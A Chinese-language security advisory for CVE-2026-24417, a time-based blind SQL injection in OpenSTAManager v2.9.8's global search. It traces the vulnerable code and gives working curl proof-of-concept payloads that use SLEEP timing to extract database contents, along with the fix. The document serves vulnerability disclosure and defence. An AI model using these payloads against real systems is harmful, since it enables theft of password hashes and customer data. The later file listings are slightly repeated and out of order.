| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-24417 |
| 严重等级 | HIGH |
| 安全公告 | 查看安全公告 |
| 发现者 | Lukasz Rybak |
影响 OpenSTAManager v2.9.8 中多个搜索模块的严重基于时间的盲 SQL 注入漏洞,允许已认证攻击者通过基于时间的布尔推断攻击提取敏感数据库内容(包括密码哈希、客户数据和财务记录),并在 10 个以上模块中实现放大式执行。
状态: ✅ 已在线上实例(v2.9.8)确认并测试
易受攻击的参数: term(GET)
受影响的端点: /ajax_search.php
受影响的模块: Articoli、Ordini、DDT、Fatture、Preventivi、Anagrafiche、Impianti、Contratti、Automezzi、Interventi
OpenSTAManager v2.9.8 的全局搜索功能中存在一个严重的基于时间的盲 SQL 注入漏洞。该应用程序在多个模块专用搜索处理器中将 term 参数用于 SQL LIKE 子句之前,未能正确清理该参数,从而允许攻击者注入任意 SQL 命令,并通过基于时间的布尔推断提取敏感数据。
漏洞链:
入口点: /ajax_search.php(第 30-31 行)
$term = get('term');
$term = str_replace('/', '\\/', $term);
$term 参数只经过最少的清理(仅替换正斜杠)。
分发: /src/AJAX.php::search()(第 159-161 行)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
未经清理的 $term 会被传递给所有模块专用搜索处理器。
执行: /src/AJAX.php::getSearchResults()(第 373 行)
require $file;
每个模块的 search.php 文件都会被包含,且 $term 变量处于作用域内。
易受攻击的 SQL 查询: 多个模块直接拼接 $term,未使用 prepare()
所有受影响文件(10 个以上易受攻击的实例):
/modules/articoli/ajax/search.php - 第 51 行(主要示例)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
影响: 未使用 prepare() 直接拼接,可实现完整的 SQL 注入。
/modules/ordini/ajax/search.php - 第 43、47 行
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - 第 43、47 行
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - 第 45、49 行
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
已正确清理(不受影响):
/modules/contratti/ajax/search.php - 正确使用了 prepare()/modules/automezzi/ajax/search.php - 正确使用了 prepare()注意: 该漏洞具有放大式执行效果——单个恶意请求会在所有易受攻击的模块上同时触发 SQL 注入,导致每次请求执行 10 次以上基于时间的攻击,成倍放大延迟,并如在线演示实例中所观察到的,引发 504 Gateway Time-out(网关超时) 错误。
步骤 1:登录
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
步骤 2:验证漏洞(基于时间的 SLEEP)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s
步骤 3:数据提取 - 数据库名称
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s
受影响用户: 所有可访问全局搜索功能的已认证用户。
修复建议:
将所有直接拼接 $term 的实例替换为 prepare():
修复前(存在漏洞):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
修复后(已修复):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
将此修复应用于所有受影响的文件:
/modules/articoli/ajax/search.php - 第 51 行/modules/ordini/ajax/search.php - 第 43、47、79 行/modules/ddt/ajax/search.php - 第 43、47、83 行/modules/fatture/ajax/search.php - 第 45、49、85 行/modules/preventivi/ajax/search.php - 第 45、49、83 行/modules/anagrafiche/ajax/search.php - 第 62、107、162 行/modules/impianti/ajax/search.php - 第 46 行本 CVE 已按照协调漏洞披露实践进行负责任地披露。此处提供的信息仅用于教育和防御目的。
/modules/preventivi/ajax/search.php - 第 45、49 行
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - 第 62、107、162 行
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - 第 46 行
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';